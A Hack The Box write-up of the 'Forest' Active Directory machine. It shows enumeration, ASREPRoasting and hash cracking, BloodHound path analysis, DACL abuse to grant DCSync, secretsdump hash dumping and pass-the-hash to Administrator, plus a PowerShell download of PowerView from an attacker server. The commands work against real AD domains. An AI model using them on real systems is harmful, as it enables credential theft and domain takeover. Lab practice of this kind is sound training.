Forest

INTRODUCTION

Forest is 100% Active Directory. If you’re like me, a box with no webserver and only AD is a bit like staring at a blank wall - it’s hard to know where to start with enumeration. Forest is fantastic practice to break you out of that mindset, and help understand good methods for attacking AD environments.

Recon mostly consists of going through checklists of ways to enumerate active directory in an unauthenticated manner. It helps a lot to know a few good methods to try, and see how far that gets you. Forest was all about being methodical and knowing when you’ve found something useful. The only thing we really need to realize during recon is that Kerberos preauthentication is disabled.

Foothold (and, immediately, the user flag) are totally trivial if you found the right things during recon: what attack becomes possible once we know that Kerberos preauthentication is disabled on a certain account? That’s right - ASREPRoasting! Grab the hash for the vulnerable user and crack it for some credentials.

With credentials in-hand, we can log in (and grab the user flag) but we can also enumerate the AD environment much more effectively. Applying Bloodhound we can observe that there is a misconfiguration in the way that some groups are set up, eventually leading us to the ability to gain DCSync privileges, and dump the hashes on the host. From there, we can simply pass-the-hash to log in as Administrator.

Forest was very good practice. I’d highly recommend it to anyone that wants a relatively quick box for brushing up on Active Directory attacks 👍

RECON

nmap scans

Port scan

For this box, I’m running my typical enumeration strategy. I set up a directory for the box, with a nmap subdirectory. Then set $RADDR to the target machine’s IP, and scanned it with a simple but broad port scan:

sudo nmap -p- -O --min-rate 1000 -oN nmap/port-scan-tcp.txt $RADDR
PORT      STATE SERVICE
53/tcp    open  domain
88/tcp    open  kerberos-sec
135/tcp   open  msrpc
139/tcp   open  netbios-ssn
389/tcp   open  ldap
445/tcp   open  microsoft-ds
464/tcp   open  kpasswd5
593/tcp   open  http-rpc-epmap
636/tcp   open  ldapssl
3268/tcp  open  globalcatLDAP
3269/tcp  open  globalcatLDAPssl
5985/tcp  open  wsman
9389/tcp  open  adws
47001/tcp open  winrm
49664/tcp open  unknown
49665/tcp open  unknown
49666/tcp open  unknown
49668/tcp open  unknown
49671/tcp open  unknown
49676/tcp open  unknown
49677/tcp open  unknown
49684/tcp open  unknown
49706/tcp open  unknown
49961/tcp open  unknown

No website - that’s interesting. Definitely an Active Directory box though.

Script scan

To investigate a little further, I ran a script scan over the TCP ports I just found:

TCPPORTS=`grep "^[0-9]\+/tcp" nmap/port-scan-tcp.txt | sed 's/^\([0-9]\+\)\/tcp.*/\1/g' | tr '\n' ',' | sed 's/,$//g'`
sudo nmap -sV -sC -n -Pn -p$TCPPORTS -oN nmap/script-scan-tcp.txt $RADDR
PORT      STATE SERVICE      VERSION
53/tcp    open  domain       Simple DNS Plus
88/tcp    open  kerberos-sec Microsoft Windows Kerberos (server time: 2024-10-25 08:52:37Z)
135/tcp   open  msrpc        Microsoft Windows RPC
139/tcp   open  netbios-ssn  Microsoft Windows netbios-ssn
389/tcp   open  ldap         Microsoft Windows Active Directory LDAP (Domain: htb.local, Site: Default-First-Site-Name)
445/tcp   open  microsoft-ds Windows Server 2016 Standard 14393 microsoft-ds (workgroup: HTB)
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http   Microsoft Windows RPC over HTTP 1.0
636/tcp   open  tcpwrapped
3268/tcp  open  ldap         Microsoft Windows Active Directory LDAP (Domain: htb.local, Site: Default-First-Site-Name)
3269/tcp  open  tcpwrapped
5985/tcp  open  http         Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
9389/tcp  open  mc-nmf       .NET Message Framing
47001/tcp open  http         Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
49664/tcp open  msrpc        Microsoft Windows RPC
49665/tcp open  msrpc        Microsoft Windows RPC
49666/tcp open  msrpc        Microsoft Windows RPC
49668/tcp open  msrpc        Microsoft Windows RPC
49671/tcp open  msrpc        Microsoft Windows RPC
49676/tcp open  ncacn_http   Microsoft Windows RPC over HTTP 1.0
49677/tcp open  msrpc        Microsoft Windows RPC
49684/tcp open  msrpc        Microsoft Windows RPC
49706/tcp open  msrpc        Microsoft Windows RPC
49961/tcp open  msrpc        Microsoft Windows RPC

Host script results:
| smb-os-discovery: 
|   OS: Windows Server 2016 Standard 14393 (Windows Server 2016 Standard 6.3)
|   Computer name: FOREST
|   NetBIOS computer name: FOREST\x00
|   Domain name: htb.local
|   Forest name: htb.local
|   FQDN: FOREST.htb.local
|_  System time: 2024-10-25T01:53:34-07:00
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled and required
|_clock-skew: mean: 2h32m35s, deviation: 4h02m32s, median: 12m33s
| smb-security-mode: 
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: required
| smb2-time: 
|   date: 2024-10-25T08:53:30
|_  start_date: 2024-10-25T05:45:58

I’ll fix the clock skew when I need to, using faketime.

Vuln scan

Now that we know what services might be running, I’ll do a vulnerability scan:

sudo nmap -n -Pn -p$TCPPORTS -oN nmap/vuln-scan-tcp.txt --script 'safe and vuln' $RADDR

No additional info from this scan.

UDP scan

To be thorough, I also did a scan over the common UDP ports:

sudo nmap -sUV -T4 -F --version-intensity 0 -oN nmap/port-scan-udp.txt $RADDR
PORT    STATE SERVICE      VERSION
53/udp  open  domain       Simple DNS Plus
88/udp  open  kerberos-sec Microsoft Windows Kerberos (server time: 2024-10-25 08:56:36Z)
123/udp open  ntp          NTP v3

LDAP Enumeration - Unauthenticated

Domain details

ldapsearch -x -H "ldap://$RADDR" -s base namingcontexts

This just confirms what nmap already told us. Next let’s dump LDAP for all info, so we can parse through it using grep:

ldapsearch -x -H "ldap://$RADDR" -b "DC=htb,DC=local" | tee ldap-anonymous.out

We can get a feel for what object classes exist in the domain:

grep -i 'objectclass' ldap-anonymous.out | awk '{print $2}' | sort -u

User enumeration

Looking at the output of the previous command, we can note two interesting object classes: person and user. Let’s query for all user objects:

ldapsearch -x -H "ldap://$RADDR" -b "DC=htb,DC=local" '(objectClass=user)' | tee ldap-anonymous-users.out

This contains service accounts, and other MS Exchange junk, so let’s filter it out:

grep -i 'samaccountname' ldap-anonymous-users.out \
| awk '{print $2}' | sort -u \
| grep -ivE '^HealthMailbox|^SM_|DefaultAccount|Guest|\$$|^\$' \
| tee users.lst
andy
lucinda
mark
santi
sebastien

👀 Looks like a perfectly normal list of users now.

Anonymous Authentication

Using crackmapexec we can rapidly check for anonymous authentication on a few services:

for SVC in ftp rdp smb mssql ldap winrm ssh; do echo "Checking $SVC for anonymous authentication..."; crackmapexec $SVC $RADDR -u '' -p ''; done

anonymous auth

Let’s try listing the directories for SMB:

smbclient -L \\\\$RADDR --no-pass

smb anonymous

Anonymous authentication was successful, but there are no directories.

FOOTHOLD

ASREPRoast

Another easy unauthenticated attack to check for is ASREPRoasting. We can easily check this using the GetNPUsers.py utility from impacket-tools

It’s always good to check for other attacks we can perform anonymously. Active Directory has such a vast attack surface that we should check for vulnerabilities like this even if there’s nothing really prompting us to do so.

ASREPRoasting has two preconditions:

  1. We can communicate with the domain controller (yes, htb.local is the DC)
  2. At least one user has Kerberos preauthentication disabled. This is exactly what GetNPUsers.py checks.
GetNPUsers.py -dc-ip $RADDR 'htb.local/'

☝️ Note the weird syntax. If you don’t state the target in domain/[user] format, it will complain at you:

[-] Domain should be specified!

Avoid this by adding a trailing slash to the domain (the target)

getnpusers

🤔 Huh, weird. That’s not one of the users we found earlier… checking back through my LDAP dump, this isn’t a user at all; it’s a service account, but it doesn’t have objectType of user.

We can add to this command a little to get the hash from the AS-REP that Kerberos replies with (iirc, this contains a hashed copy of the credential, packaged together with a timestamp - basically acting as a nonce):

GetNPUsers.py -dc-ip $RADDR 'htb.local/' -request -format hashcat

asreproast

And there it is! We’ve just obtained a hash for svc-alfresco@HTB.LOCAL. I’ll copy-paste this into a new file called asrep.hash.

It’s already in a format suitable for hashcat, but I’ll need to check exactly what hashcat mode to use…

hashcat --example-hashes | grep -i '$krb5asrep' -B 12 -A 8

kerberos hash mode

Perfect - let’s try mode 18200 and just throw rockyou at it:

WLIST=/usr/share/wordlists/rockyou.txt
hashcat -m 18200 asrep.hash $WLIST

After a few seconds, we’ve cracked the hash:

cracked asrep hash

Excellent - we now have a full credential: svc-alfresco : s3rvice. This opens up a lot of opportunities for enumeration for us.

Credential stuffing

We’ve obtained one credential, but maybe the password will work for other accounts too? Thankfully, this is really easy to check just by using crackmapexec again.

I’ll and svc-alfresco to the users.lst file, and try all the “users” for each service, using the password s3rvice for each attempt:

echo "svc-alfresco" >> users.lst
for SVC in ftp rdp smb mssql ldap winrm ssh; do 
	echo "Checking $SVC for valid creds..."; 
	crackmapexec $SVC $RADDR -u users.lst -p 's3rvice'; 
done

smb auth check

winrm auth check

👏 Although there was no credential re-use, we did find that svc-alfresco has access to both SMB and winrm!

USER FLAG

SMB - authenticated

It’s tempting to just dive straight into WinRM, but let’s check SMB first:

smbclient -L \\\\$RADDR -U 'htb.local/svc-alfresco%s3rvice'
Sharename       Type      Comment
---------       ----      -------
ADMIN$          Disk      Remote Admin
C$              Disk      Default share
IPC$            IPC       Remote IPC
NETLOGON        Disk      Logon server share 
SYSVOL          Disk      Logon server share

Nothing out of the ordinary there.

WinRM

Thankfully, the credential for svc-alfresco grants us a shell on the target, since they can access WinRM:

evil-winrm -i $RADDR -u svc-alfresco -p s3rvice

found user flag

Unexpectedly, svc-alfresco holds the user flag. type it out for some points.

ROOT FLAG

Bloodhound

Since we have a valid user for AD, we should expedite our enumeration by using Bloodhound. I’ll use the python one. The syntax is really particular, so be careful here.

Also note that the domain controller must be resolvable by your /etc/hosts, so add it there:

echo "$RADDR htb.local" | sudo tee -a /etc/hosts
bloodhound-python -ns $RADDR -d 'htb.local' -dc 'htb.local' -u 'svc-alfresco' -p 's3rvice' -c All

Initial attempts at this seem to work, but I was still getting an odd warning:

DCE/RPC connection failed: Kerberos SessionError: KRB_AP_ERR_SKEW(Clock skew too great)

That’s odd. Let’s try fixing that. Normally I’d use faketime for this, but it wasn’t working either.

sudo timedatectl set-ntp off  # disable automatic time adjustments
sudo rdate -n $RADDR  # Syncs our clock with the target's
bloodhound-python -ns $RADDR -d 'htb.local' -dc 'htb.local' -u 'svc-alfresco' -p 's3rvice' -c All

⭐ Perfect - no more warning! We now have a directory full of json files:

I’ll start up the backend for Bloodhound (neo4j), and Bloodhound itself:

For more details on setting up neo4j, check out this section of my walkthrough on Freelance.

neo4j
bloodhound

I accidentally left Bloodhound full of data from a previous box. To delete it, use the web interface at http://localhost:7474/browser/ then run this query:

MATCH (n) DETACH DELETE n

Now that the old data is deleted, “Upload” all the json files:

upload data into bloodhound

The files uploaded fine. Once everything was loaded, I marked svc-alfresco as “owned” then used the query Shortes paths to Domain admins from owned principals:

bloodhound attack path

The MemberOf and Contains relationships are implicit - we don’t need to do anything to utilize them. However, the other two will require some action:

👇 To get this info, I’m right-clicking on the relationship in the graph and choosing “Help”

  • CanPsRemote:

    members of the group PRIVILEGED IT ACCOUNTS@HTB.LOCAL have the capability to create a PSRemote Connection with the computer FOREST.HTB.LOCAL

  • DCSync:

    FOREST.HTB.LOCAL has the DS-Replication-Get-Changes and the DS-Replication-Get-Changes-All privilege on the domain HTB.LOCAL.

    These two privileges allow a principal to perform a DCSync attack.

Excellent - that gives us a really good plan for privilege escalation!

PSRemote Connection

🚫 This didn’t lead anywhere. If you’re short on time, feel free to skip ahead to where I get back on track.

Let’s keep following along according to the Help > Abuse Info section from Bloodhound:

You may need to authenticate to the Domain Controller as a member of PRIVILEGED IT ACCOUNTS@HTB.LOCAL if you are not running a process as a member. To do this in conjunction with New-PSSession, first create a PSCredential object

As svc-alfresco, we’ll make a new powershell session. First we will need to authenticate:

# Securely make the credential:
$SecPassword = ConvertTo-SecureString 's3rvice' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('svc-alfresco', $SecPassword)
# Check that it was made properly:
$Cred.GetType()  # it should show that it's of type PSCredential
# Authenticate using this credential:
$session = New-PSSession -ComputerName FOREST.HTB.LOCAL -Credential $Cred
# Check that you authenticated properly:
hostname

authenticated to FOREST

Very good; we’re now logged into the machinge forest.htb.local. We can run commands explicitly through this session like this:

Invoke-Command -Session $session -ScriptBlock {Start-Process cmd}

Remember - when we’re done with this session, we should be sure to clean it up:

Disconnect-PSSession -Session $session
Remove-PSSession -Session $session

DCSync Attack

🚫 This didn’t lead anywhere. If you’re short on time, feel free to skip ahead to where I get back on track.

To perform the DCSync attack, we can simply use another one of the utilities from Impacket,secretsdump.py:

secretsdump.py 'HTB.LOCAL/svc-alfresco:s3rvice@10.10.10.161'
secretsdump.py -dc-ip $RADDR 'svc-alfresco:s3rvice@10.10.10.161'
secretsdump.py -dc-ip $RADDR -target-ip $RADDR 'svc-alfresco:s3rvice'

Uh… I must be doing something wrong 🤔 Maybe the assumption about PSRemote connection was incorrect? Let’s go back to Bloodhound and consider other options.

Revising the Attack Path

In Bloodhound, we can consider other options than just the shortest path (i.e. the one we tried earlier: PSRemote + DCSync). This time, let’s select Shortest Paths to Domain Admins.

bloodhound zoom out

Take a look at the placement of the high-value targets - there is another notable path along the top, not the shortest path, but it still gets us to Administrator. All we need to do is realize that we can get to Account Operators from svc-alfresco implicitly:

To see this, right click on Account Operators and select Shortest Paths to Here from Owned

getting ot account operators

This implicit connection opens up a whole new path for us:

bloodhound new attack path

Ultimately, this boils down to finding a way to get ourselves the WriteDacl privilege that EXCHANGE WINDOWS PERMISSIONS has.

GenericAll

Bloodhound describes GenericAll as follows:

Info

ACCOUNT OPERATORS@HTB.LOCAL have GenericAll privileges to the group EXCHANGE WINDOWS PERMISSIONS@HTB.LOCAL.* *This is also known as full control. This privilege allows the trustee to manipulate the target object however they wish.

Windows Abuse

There are at least two ways to execute this attack. The first and most obvious is by using the built-in net.exe binary in Windows (e.g.: net group “Domain Admins” harmj0y /add /domain). See the opsec considerations tab for why this may be a bad idea. The second, and highly recommended method, is by using the Add-DomainGroupMember function in PowerView. This function is superior to using the net.exe binary in several ways. For instance, you can supply alternate credentials, instead of needing to run a process as or logon as the user with the AddMember privilege. Additionally, you have much safer execution options than you do with spawning net.exe

Now we make some fresh credentials:

For more details, check out the Powersploit documentation

$SecPassword = ConvertTo-SecureString 'Password123' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('jimbob', $SecPassword)

🤔 I first tried to make a fresh user the Powershell way, but for some reason it would not work:

New-ADUser -SamAccountName "jimbob" -UserPrincipalName "jimbob@htb.local" -Path "OU=Users,CN=htb,CN=local" -AccountPassword $SecPassword

So I resorted to doing it the old / cmd way.

net user jimbob Password123 /add

Now we can add jimbob into the group Exchange Windows Permissions, so that they implicitly have WriteDacl privilege over HTB.LOCAL:

Add-ADGroupMember 'Exchange Windows Permissions' -members 'jimbob'

This could also have been done using the cmd command:

net group "Exchange Windows Permissions" /add jimbob

WriteDacl

Here’s what Bloodhound says about the WriteDacl relationship:

Info

The members of the group EXCHANGE WINDOWS PERMISSIONS@HTB.LOCAL have permissions to modify the DACL (Discretionary Access Control List) on the domain HTB.LOCAL With write access to the target object’s DACL, you can grant yourself any privilege you want on the object.

Linux abuse

To abuse WriteDacl to a domain object, you may grant yourself the DcSync privileges. Impacket’s dacledit can be used for that purpose (cf. “grant rights” reference for the link).

dacledit.py -action 'DCSync' -rights 'FullControl' -principal 'controlledUser' -target-dn 'DomainDisinguishedName' 'domain'/'controlledUser':'password'

Note that there are many other ways to abuse WriteDacl for privilege escalation. Here’s a really good mind-map for visualizing attack paths for overly permissive AD environments, from www.thehacker.recipes:

In short, we’re using WriteDacl as a way to lead to DCSync, which in turn leads us to a way to dump the hashes (secretsdump.py or mimikatz).

impacket-dacledit

Let’s do as Bloodhound says, and use impacket-dacledit to write DCSync privilege onto our custom user, jimbob:

impacket-dacledit -action 'write' -rights 'FullControl' -principal 'jimbob' -target-dn 'DC=HTB,DC=LOCAL' 'HTB.LOCAL'/'jimbob':'Password123'

Note that we just applied FullControl, which contains DCSync. We could have specified only DCSync if we wanted to.

wrote dcsync dacl

That appears to have worked, but just to check, let’s use svc-alfresco and PowerView and read the privileges that jimbob has:

# Download Powerview from my attacker-controlled http server
(New-Object Net.WebClient).DownloadFile("http://10.10.14.17:8000/powerview.ps1", "C:\Users\svc-alfresco\Downloads\powerview.ps1")
# Load PowerView into memory
Import-Module "C:\Users\svc-alfresco\Downloads\powerview.ps1"

To check our work, we can use another PowerView cmdlet:

Get-ObjectACL -SamAccountName "jimbob" -ResolveGUIDs

Note that we could have also done this by using PowerView (or by using regular powershell):

# Create a credential object
$SecPassword = ConvertTo-SecureString 'Password123'-AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('HTB.LOCAL\jimbob', $SecPassword)
# Grant jimbob the DCSync privilege
Add-DomainObjectAcl -TargetIdentity "dc=HTB,dc=LOCAL" -PrincipalIdentity 'HTB.LOCAL\jimbob' -Rights "DCSync" -Credential $Cred -Verbose

Under the Linux Abuse section for WriteDacl, Bloodhound describes how we can leverage DCSync:

DCSync

The AllExtendedRights privilege grants EXCHANGE WINDOWS PERMISSIONS@HTB.LOCAL both the DS-Replication-Get-Changes and DS-Replication-Get-Changes-All privileges, which combined allow a principal to replicate objects from the domain HTB.LOCAL.

This can be abused using Impacket’s secretsdump.py example script:

secretsdump 'DOMAIN'/'USER':'PASSWORD'@'DOMAINCONTROLLER'

In this way, once we have DCSync we can obtain hashes NTLM hashes for any user. We’ll follow Bloodhound’s instructions to do this:

secretsdump.py -outputfile 'secretsdump' 'HTB.LOCAL/jimbob:Password123@10.10.10.161'

This should produce three files, but what we need is inside secretsdump.ntds:

ntlm hashes

NT_HASH=$(grep -i Administrator loot/secretsdump.ntds | cut -d ':' -f 4)
evil-winrm -i $RADDR -u Administrator -H $NT_HASH

logged in as administrator

And there’s the flag! 👏

That was tricky, but a great lesson in attacking Active Directory.

CLEANUP

Target

I’ll get rid of the spot where I place my tools, /tmp/.Tools:

rm -rf /tmp/.Tools

Attacker

There’s also a little cleanup to do on my local / attacker machine. It’s also good policy to get rid of any extraneous firewall rules I may have defined. This one-liner just deletes all the ufw rules:

NUM_RULES=$(($(sudo ufw status numbered | wc -l)-5)); for (( i=0; i<$NUM_RULES; i++ )); do sudo ufw --force delete 1; done; sudo ufw status numbered;

I’ll also revert to my regular time settings:

sudo timedatectl set-ntp on

LESSONS LEARNED

two crossed swords

Attacker

  • 🐶 Use Bloodhound as soon as you have AD credentials. This wasn’t really a “lesson learned”, but it’s definitely worth repeating. Bloodhound will help you navigate the very complex AD attack surface.

  • 💎 Use high-value-target nodes as waypoints in Bloodhound. Out-of-the box, the shortest path queries in Bloodhound might tempt you to ignore paths that are still totally viable, but not strictly the shortest path. My advice is to calculate shortest paths between high-value-targets, and compare the resulting paths to the “shortest” path - sometimes you’ll find a better or easier way! After all, the definition of “shortest” seems to consider implicit relationships/edges (like Member-of) with the same weight as edges that need exploitation.

two crossed swords

Defender

  • 👻 Null / anonymous authentication should be disabled. On this box, we were able to enumerate the domain a bit because smb allowed null authentication. This is really easy to avoid - but if a system is left in this state, it makes the attacker’s job much easier.

  • 🔒 Keep Kerberos preauthentication enabled. If you disable it, you’re opening up your systems to an ASREPRoasting attack.

  • 🐣 Watch out for nested groups. The AD environment can get very complicated (and overly permissive) if you nest groups too deeply. Instead of using nested groups, consider using group policy objects (GPOs) attached to organizational units (OUs).


Thanks for reading

🤝🤝🤝🤝
@4wayhandshake